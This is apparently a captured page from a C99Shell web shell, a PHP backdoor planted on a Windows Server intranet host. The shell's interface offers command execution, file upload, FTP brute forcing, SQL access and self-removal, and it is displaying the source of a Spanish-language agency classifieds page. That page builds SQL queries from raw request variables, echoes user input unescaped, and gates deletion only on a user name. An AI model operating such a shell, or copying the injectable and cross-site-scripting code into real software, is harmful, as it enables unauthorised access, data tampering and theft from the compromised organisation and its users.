!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\phpscripts\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clasi1.php (21.64 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
echo $user;
    
$accion = isset($acc);
    
// 1. Adición de Clasificados
    
if ($accion == true) {
        if (
$acc == 1) {
            require(
'hoyformat.php');
            require(
'conexion3.php');
            
$query ="INSERT INTO clasificados VALUES('','$user','$titulo','$mensaje','$fecha','$cid')";
            
$result mysql_query($query,$db);
        }
        if (
$acc == 2) {
            require(
'conexion3.php');
            
$query ="DELETE from clasificados where id=$id";
            
$result mysql_query($query,$db);
        }
    }
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>mi DAMA</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #000000;
}
body {
    background-color: #333333;
}
.Estilo5 {
    color: #FFFFFF;
    font-weight: bold;
}
a:link {
    color: #333333;
    text-decoration: none;
}
a:visited {
    color: #333333;
    text-decoration: none;
}
a:active {
    color: #FF3300;
    text-decoration: none;
}
a:hover {
    text-decoration: underline;
}
.Estilo48 {font-size: 18}
.Estilo49 {font-size: 12px}
.Estilo54 {font-family: Verdana, Arial, Helvetica, sans-serif}
.Estilo55 {font-size: 12}
.style1 {color: #999999}
.style2 {
    color: #FFFFFF;
    font-size: 20px;
}
input {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #666666;
    background-color: #F3F3F3;
    border: 1px solid #99CCCC;
}
-->
</style>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
<style type="text/css">
<!--
.tabla1 {
    border: 1px none #CCCCCC;
}
textarea {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #666666;
    border: 1px solid #99CCCC;
}
select {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #333333;
    background-color: #F3F3F3;
    border: 1px solid #66CCFF;
}
-->
</style>
<style type="text/css">
<!--
button {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #666666;
    background-color: #9FEDFD;
}
.Highlight {background-color:#999999}
.Normal{background-color:#666666}
-->
</style>
</head>
<body onload="MM_preloadImages('../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/sinestesia/MiDAMA_RO_002.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/sinestesia/BogBann_E05b.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/sinestesia/Intra_dam01b.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/madam/mima/atardecercosmico_02b.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/madam/mima/atardecercosmico_03b.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/madam/mima/atardecercosmico_04b.jpg','../../../Documents%20and%20Settings/nicrey/Desktop/Nicolas%20Rey%20G/Intranet/madam/mima/BogBann_D02.jpg')">
<div align="center"> <a href="reqintranet.php"><img src="imadam/inicio10.jpg" width="760" height="100" border="0"></a> 
  <table width="760" border="0" cellpadding="1" cellspacing="0">
    <tr bgcolor="#666666"> 
      <td width="65" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqintranet.php?user=<?php echo $user?>"><font color="#FFFFFF">INICIO</font></a></div></td>
      <td width="75" bgcolor="#CC0000"><div align="center"><span class="Estilo56"><strong><a href="reqnoticias2.php?user=<?php echo $user?>"><font color="#FFFFFF">NOTICIAS</font></a></strong></span></div></td>
      <td width="78" bgcolor="#666666" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqsistemasform2.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">SOPORTE</font></span></a></div></td>
      <td width="102" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqlegis.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">LEGISLACI&Oacute;N</font></span></a></div></td>
      <td width="90" bgcolor="#666666" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqdamaweb.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">DAMA 
          WEB</font> </span></a></div></td>
      <td width="81" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqlinks.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">LINKS</font> 
          </span></a></div></td>
      <td width="81" bgcolor="#666666" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqrediseno.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">REDISE&Ntilde;O</font></span></a></div></td>
      <td width="72" bgcolor="#666666" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqparticipate.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">PARTICIPE</font></span></a></div></td>
      <td width="78" bgcolor="#666666" class="Normal" onmouseover="this.className='Highlight'" onmouseout="this.className='Normal'"><div align="center"><a href="reqindice.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">INDICE</font></span></a></div></td>
    </tr>
  </table>
</div>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
  <tbody>
    <tr bgcolor="#FFFFFF"> 
      <td bgcolor="#CC0000">&nbsp;</td>
    </tr>
  </tbody>
</table>
<table width="760" height="276" border="0" align="center" cellpadding="0" cellspacing="20" bgcolor="#CC0000">
  <tr> 
    <td width="520" valign="top" bordercolor="#FFCC00" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="8">
        <tr>
          <td><table width="100%" border="0" cellspacing="0" cellpadding="6">
              <tr bgcolor="#A7FAFE"> 
                <td bgcolor="#FFCC99"> <div align="left"><font color="#000000" size="3"><strong>Cartelera 
                    y Clasificados</strong></font></div></td>
              </tr>
              <tr> 
                <td><table width="100%" border="0" cellpadding="2" cellspacing="0">
                    <tr valign="middle"> 
                      <td> <font color="#666666"> 
                        <?php
                  $categoria 
= isset($cat);
                  if (
$categoria == false) {
                      
$cat_s 0;    
                  }else{
                      
$cat_s $cat;
                  }
                  
?>
                        </font> <form name="form2">
                          <div align="left"> <font color="#666666">Categor&iacute;a:<br>
                            <br>
                            <select name="menu1" onChange="MM_jumpMenu('parent',this,0)">
                              <option value="#">Seleccione una...</option>
                              <?php
                  
require('conexion3.php');
                
$consul "SELECT *
                FROM cate_cla order by nombre"
;
                
$result mysql_query($consul,$db);
                
$num_filas mysql_num_rows($result);
                while (
$myrow mysql_fetch_array($result))
                {
                
$c_id $myrow["id"];
                
$c_name $myrow["nombre"];
                if (
$c_id == $cat_s) {
                
?>
                              <option value="reqintranetclasi.php?cat=<?php echo $c_id?>&user=<?php echo $user?>" selected><?php echo $c_name?></option>
                              <?php }else{ ?>
                              <option value="reqintranetclasi.php?cat=<?php echo $c_id?>&user=<?php echo $user?>"><?php echo $c_name?></option>
                              <?php }} ?>
                            </select>
                            </font></div>
                        </form></td>
                      <td rowspan="2" valign="top"> <table width="100%" border="0" cellspacing="0" cellpadding="12">
                          <tr> 
                            <td><div align="left"><font color="#666666">Los mensajes 
                                o avisos publicados en esta secci&oacute;n, no 
                                representan de forma alguna la opini&oacute;n 
                                de la entidad. De la misma forma el DAMA no se 
                                responsabiliza de la seriedad de los mismos y 
                                en ningun momento los recomienda u obliga.</font></div></td>
                          </tr>
                        </table></td>
                    </tr>
                    <tr valign="middle"> 
                      <td><font color="#666666">&nbsp;</font> </td>
                    </tr>
                  </table></td>
              </tr>
              <tr> 
                <td align="left"> 
                  <div id="Layer1" style="position:absolute; width:500px; height:240px; z-index:1; overflow: auto; visibility: visible;"> 
                    <table width="95%" border="0" cellspacing="0" cellpadding="6">
                      <tr> 
                        <?php
                      $inicio 
= isset($ini);
                    if (
$inicio == false) {
                        
$ini 0;
                    }
                    
$lim $ini 25;
                                  
                      require(
'conexion3.php');
                    if (
$cat_s != 0) {
                        
$consul "SELECT *
                        FROM clasificados where cate_id=
$cat_s order by fecha DESC";
                    }else{
                        
$consul "SELECT *
                        FROM clasificados order by fecha DESC"
;
                    }
                    
$result mysql_query($consul,$db);
                    
$num_filas mysql_num_rows($result);
                  
?>
                        <td bgcolor="#F3F3F3">ULTIMOS AVISOS</td>
                        <td bgcolor="#F3F3F3">
<div align="right"><?php echo $num_filas?> Avisos 
                            <?php if ($num_filas $lim) { ?>
                            , <a href="#">Ver m&aacute;s...</a> 
                            <?php ?>
                          </div></td>
                      </tr>
                      <?php
                
require('conexion3.php');
                if (
$cat_s != 0) {
                    
$consul "SELECT *
                    FROM clasificados where cate_id=
$cat_s order by fecha DESC limit $ini,25";
                }else{
                    
$consul "SELECT *
                    FROM clasificados order by fecha DESC limit 
$ini,25";
                }
                
$result mysql_query($consul,$db);
                
$num_filas mysql_num_rows($result);
                  while (
$myrow mysql_fetch_array($result))
                {
                
$tid $myrow["id"];
                
$tit $myrow["titulo"];
                
$tex $myrow["texto"];
                
$fec $myrow["fecha"];
                
?>
                      <tr> 
                        <td colspan="2"><div align="left"><font color="#934900"><strong><?php echo $tit?></strong></font> 
                            <font color="#999999">(<font color="#CCCCCC"><?php echo $fec?></font>)</font> 
                            <?php if ($user == "EMAIL" or $user == "CARNEI") { ?>
                            (<a href="reqintranetclasi.php?user=<?php echo $user?>&acc=2&id=<?php echo $tid?>">X</a>) 
                            <?php ?>
                            <br>
                            <font color="#333333"><?php echo $tex?></font> </div></td>
                      </tr>
                      <?php ?>
                    </table>
                  </div></td>
              </tr>
            </table>
            <blockquote> 
              <blockquote></blockquote>
            </blockquote></td>
        </tr>
      </table> </td>
    <td width="180" bgcolor="#CCCC99"> 
      <form name="form1" method="post" action="">
          <table width="100%" border="0" cellspacing="0" cellpadding="6">
            <tr bgcolor="#33CCFF"> 
              
            <td bgcolor="#99CCCC"><font color="#000000" size="1" face="Verdana, Arial, Helvetica, sans-serif">AGREGAR 
              UN NUEVO AVISO</font></td>
            </tr>
            <tr>
              <td>
              <?php
              
// Validación del suuario
              //require('conexion2.php');
                //$stmt = Ociparse($c1, " SELECT EU_USERNAME FROM envista.env_users");
                //$result = OCIExecute($stmt);
                //while (OCIFetchInto($stmt, $value1)) {
                    //$val = 0;
                    //foreach ($value1 as $val1)
                //{
                    //$val1 = md5($val1);
                    //if ($val1 == $user) {
                        //$val = 1;
                    //}
                //}}
                
              
              
              
if ($user == "guest" or $user == "" $val == 0) {?>
                
              <div id="Layer2" style="position:absolute; width:170; height:115px; z-index:2; background-color: #CCCC99; layer-background-color: #CCCC99; border: 1px none #000000;"> 
                <table width="100%" border="0" cellpadding="8" cellspacing="0" bgcolor="#CCCC99">
                  <tr>
                      <td><p><font color="#333333">Regrese a la p&aacute;gina 
                          anterior, ingrese su nombre de usuario y clave en la 
                          secci&oacute;n de herramientas. </font></p>
                        <p><font color="#333333">De esta forma podr&aacute; volver 
                          a esta p&aacute;gina y agregar un aviso a la cartelera.</font></p></td>
                    </tr>
                  </table>
                </div>
                <p>&nbsp;</p>
                <p>&nbsp;</p>
                
              <p>&nbsp;</p>
              <p>&nbsp;</p>
              <?php 
                            
?></td>
            </tr>
            <tr> 
              <td><div align="center"><font color="#FFFFFF">T&iacute;tulo:</font> 
                  <?php 
                 
                  
if ($user != "guest" and $val == 1) { ?>
                  <input name="titulo" type="text" id="titulo" size="17">
                  <?php ?>
                </div></td>
            </tr>
            <tr> 
              <td><div align="center"> 
               <?php if ($user != "guest" and $val == 1) { ?>
                  <select name="cid" id="cid">
                    <option>Seleccione Categoria</option>
                    <?php
                    
if ($user != "guest" and $val == 1) {
                  require(
'conexion3.php');
                
$consul "SELECT *
                FROM cate_cla"
;
                
$result mysql_query($consul,$db);
                
$num_filas mysql_num_rows($result);
                while (
$myrow mysql_fetch_array($result))
                {
                
$c_id $myrow["id"];
                
$c_name $myrow["nombre"];
                
?>
                    <option value="<?php echo $c_id?>"><?php echo $c_name?></option>
                    <?php }} ?>
                  </select><?php ?>
                </div></td>
            </tr>
            <tr> 
              <td><div align="center"> 
                  <?php if ($user != "guest" and $val == 1) { ?>
                  <textarea name="mensaje" cols="24" id="mensaje">Aqui va su mensaje...</textarea>
                  <?php ?>
                </div></td>
            </tr>
            <tr> 
              <td><div align="right"></div>
                <div align="center"> 
                <?php if ($user != "guest" and $val == 1) { ?>
                  <input type="submit" name="Submit" value="Publicar Mensaje">
                  <input name="acc" type="hidden" id="acc" value="1">
                  <input name="user" type="hidden" id="user" value="<?php echo $user?>">
                  <?php ?>
                </div></td>
            </tr>
          </table>
        </form><table width="100%" border="0" cellspacing="0" cellpadding="6">
          <tr> 
            
          <td bgcolor="#FFCC99">CONDICIONES DE PUBLICACI&Oacute;N</td>
          </tr>
          <tr> 
            
          <td bgcolor="#CCCC99">
<p><font color="#FFFFFF"><strong><font color="#FF9900">1.</font></strong> <font color="#000000">Los 
              mensajes ingresados estar&aacute;n sujetos a ser removidos si hacen 
              referencia a alguna actividad ilegal o si &eacute;stos usan lenguaje 
              inapropiado.</font></font></p> 
            <p><font color="#FFFFFF"><strong><font color="#FF9900">2.</font></strong> 
              <font color="#333333">No se podr&aacute;n ingresar mensajes de m&aacute;s 
              de 50 palabras.</font></font></p> 
            <p><font color="#FFFFFF"><strong><font color="#FF9900">3.</font></strong> 
              <font color="#333333">Si usted no encuentra la categor&iacute;a 
              apropiada dentro de las disponibles por favor envienos su requerimiento 
              a: </font><a href="mailto:carlosneira@dama.gov.co">carlosneira@dama.gov.co</a></font></p></td>
          </tr>
        </table>
       
    </td>
  </tr>
</table>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
  <tbody>
    <tr bgcolor="#003399"> 
      <td bgcolor="#CC0000" width="544"><div class="Estilo14 style1" align="center">diseño: 
          alvaro moreno - desarrollo: nicolás rey </div></td>
      <td bgcolor="#fee415" width="216"><div align="center"> 
          <p><img src="midama3_files/bogsin1yellow_sml.jpg" width="120" height="44"></p>
        </div></td>
    </tr>
  </tbody>
</table>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="760">
  <tbody>
    <tr bgcolor="#003399"> 
      <td bgcolor="#ffcc00" width="545"><div align="center"></div></td>
      <td bgcolor="#CC0000" width="215">&nbsp;</td>
    </tr>
  </tbody>
</table>
<table width="760" border="0" align="center" cellpadding="1" cellspacing="0" bgcolor="#666666">
  <tr bgcolor="#2656A2"> 
    <td width="65" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center" class="Estilo56"><a href="reqintranet.php?user=<?php echo $user?>"><font color="#FFFFFF">INICIO</font></a></div></td>
    <td width="75" bgcolor="#CC0000" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><span class="Estilo56"><strong><a href="reqnoticias2.php?user=<?php echo $user?>"><font color="#FFFFFF">NOTICIAS</font></a></strong></span></div></td>
    <td width="78" bgcolor="#2656A2" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqsistemasform2.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">SOPORTE</font></span></a></div></td>
    <td width="102" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqlegis.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">LEGISLACI&Oacute;N</font></span></a></div></td>
    <td width="90" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqdamaweb.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">DAMA 
        WEB</font> </span></a></div></td>
    <td width="81" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqlinks.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">LINKS</font> 
        </span></a></div></td>
    <td width="81" bgcolor="#2656A2" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqrediseno.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">REDISE&Ntilde;O</font></span></a></div></td>
    <td width="72" bgcolor="#2656A2" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqparticipate.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">PARTICIPE</font></span></a></div></td>
    <td width="78" bgcolor="#2656A2" class="Estilo56" onmouseover="this.className='Highlight'" onmouseout="this.className='Estilo56'"><div align="center"><a href="reqindice.php?user=<?php echo $user?>"><span class="Estilo56"><font color="#FFFFFF">INDICE</font></span></a></div></td>
  </tr>
</table>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div align="center"></div>
<div align="center"></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body></html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--